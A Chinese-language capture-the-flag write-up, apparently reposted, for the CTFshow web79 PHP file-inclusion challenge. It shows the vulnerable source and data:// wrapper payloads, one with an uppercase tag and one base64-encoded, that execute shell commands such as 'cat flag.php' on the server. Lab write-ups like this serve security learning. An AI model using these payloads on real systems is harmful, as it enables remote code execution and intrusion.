CTFshow 文件包含 web79
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 文件包含 web79
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:12:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file); }else{highlight_file(__FILE__); }思路
發(fā)現(xiàn)php被替換成???了,雙寫是沒辦法繞過的,可以試試大小寫,data偽協(xié)議base64繞過或者用短標(biāo)簽 <?= (相當(dāng)于<?php echo)
題解
大小寫file=data://text/plain,<?PHP eval(system("nl f*"));?>
短標(biāo)簽
data偽協(xié)議 base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= <?php system('cat flag.php');總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow 文件包含 web79的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 文件包含 web78
- 下一篇: CTFshow 文件包含 web80